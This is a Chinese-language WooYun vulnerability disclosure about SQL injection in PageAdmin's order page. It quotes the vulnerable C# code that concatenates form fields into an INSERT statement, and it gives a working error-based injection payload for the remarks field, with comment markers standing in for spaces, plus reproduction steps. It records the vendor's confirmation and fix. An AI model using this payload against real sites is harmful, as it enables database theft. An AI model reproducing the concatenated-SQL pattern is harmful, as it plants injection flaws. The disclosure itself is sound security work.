当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066475

漏洞标题:PageAdmin最新版sql注入

相关厂商:pageadmin.net

漏洞作者: what_news

提交时间:2014-06-28 11:30

修复时间:2014-09-26 11:32

公开时间:2014-09-26 11:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-28: 细节已通知厂商并且等待厂商处理中
2014-06-28: 厂商已经确认,细节仅向厂商公开
2014-07-01: 细节向第三方安全合作伙伴开放
2014-08-22: 细节向核心白帽子及相关领域专家公开
2014-09-01: 细节向普通白帽子公开
2014-09-11: 细节向实习白帽子公开
2014-09-26: 细节向公众公开

简要描述:

http://www.pageadmin.net/soft/
这里下载 最新版进行测试
最新版存在注入

详细说明:

地址

http://192.168.1.108/e/order/order1.aspx?s=1&table=product&id=28


文件

order1.aspx


主要源码如下

using System;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
using System.Data;
using System.Data.OleDb;
using System.Configuration;
namespace PageAdmin
{
public class order1:Page
{
protected Repeater List,S_List;
OleDbConnection conn;
string UserName,Str_orderid,SendWay,sql;
protected string SiteId,Table,Tongji,Tongji_Point;
protected int RecordCounts;
int SendSpending;
protected void Page_Load(Object sender,EventArgs e)
{
SiteId=Request.QueryString["s"];
Table=Request.QueryString["table"];
if(!Page.IsPostBack)
{
Conn Myconn=new Conn();
conn=new OleDbConnection(Myconn.Constr());
Member_Check();
if(Request.Form["post"]=="add")
{
conn.Open();
if(IsNum(SiteId))
{
Order_Add(); //跟进
}
conn.Close();
}
else
{
if(IsNum(SiteId))
{
conn.Open();
Get_Total();
Data_Bind();
conn.Close();
}
}
}

}
//看这个函数
private void Order_Add()
{
string Name=Request.Form["name"];
string Tel=Request.Form["tel"];
string Province=Request.Form["Province"];
string City=Request.Form["city"];
string Email=Request.Form["email"];
string PostCode=Request.Form["postcode"];
string Address=Request.Form["address"];
string Beizhu=ubb(Request.Form["beizhu"]);
//我们直接看这里吧ubb函数只是对空格进行转换 所以空格等下我们用/**/就不会被转义了
SendWay="待确定";
SendSpending=0;
if(IsNum(Request.Form["sendway"]))
{
int SendWayId=int.Parse(Request.Form["sendway"]);
Get_SendWay(SendWayId);
}
//生成订单号
Random r=new Random();
Str_orderid=System.DateTime.Now.ToString("yyMMddHHmmss")+r.Next(0,100);
//下面存在注入
sql="insert into pa_orders(site_id,username,order_id,name,tel,province,city,email,postcode,address,beizhu,sendway,send_spending,operator) values("+SiteId+",'"+UserName+"','"+Str_orderid+"','"+Name+"','"+Tel+"','"+Province+"','"+City+"','"+Email+"','"+PostCode+"','"+Address+"','"+Beizhu+"','"+SendWay+"',"+SendSpending+",'')"; //这里存在注入了
OleDbCommand comm=new OleDbCommand(sql,conn);
comm.ExecuteNonQuery();
sql="update pa_orderlist set state=1,order_id='"+Str_orderid+"' where state=0 and username='"+UserName+"'";
comm=new OleDbCommand(sql,conn);
comm.ExecuteNonQuery();
SendMail(Email);
string Mem_Order_Ulr="/e/member/index.aspx?s="+SiteId+"&type=mem_odidx";
conn.Close();
Response.Write("<script type='text/javascript' src='/e/js/order.js'></script><script type='text/javascript'>order_submit('"+Mem_Order_Ulr+"');</script>");
Response.End();
}
protected string ubb(string str)
{
if(string.IsNullOrEmpty(str)){return "";}
str=str.Replace("\r\n","<br>");
str=str.Replace(" ","&nbsp;");
return str;
}
}
}


对于insert型的注入 access版无法注入,SQL SERVER才行
而且需要普通会员权限 普通会员可以注册这就无所谓了

漏洞证明:

本地进行测试
先访问

http://192.168.1.108/e/member/index.aspx?type=login&s=1


登录 或者先注册 然后登录
接着访问

http://192.168.1.108/e/order/order1.aspx?s=1&table=product&id=28


41.png


接着输入信息
报错注入
其他说明处输入

1','a',22,'');select/**/*/**/from/**/pa_member/**/where/**/@@version>0--


把空格换成/**/

42.png


点提交订单 可以发现报错信息了

43.png


修复方案:

对提交的参数进行处理

版权声明:转载请注明来源 what_news@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-06-28 15:21

厂商回复:

谢谢,我司将尽快发布升级包

最新状态:

2014-10-17:新版本已经修复此漏洞,感谢白帽子